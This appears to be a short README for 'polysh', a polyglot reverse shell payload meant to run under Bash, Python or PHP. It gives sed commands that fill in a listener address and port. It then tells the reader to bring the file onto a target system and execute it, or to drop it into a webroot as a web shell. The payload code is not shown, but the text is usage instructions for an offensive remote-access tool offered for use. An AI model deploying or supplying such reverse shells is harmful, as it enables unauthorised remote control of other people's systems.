polysh
Polymorph reverse shell payload for Bash, Python, and PHP.
Use
Replace {{{ADDR}}} and {{{PORT}}} according to your listener:
sed -i "s/{{{ADDR}}}/10.0.0.42/g" polyshsed -i "s/{{{PORT}}}/1337/g" polysh
After that, bring it onto your target system and either bash polysh, python polysh or php polysh it - or bring it into webroot and call it.
Credits
Reverse shells taken from revshells.com, slightly modified for the poly magic.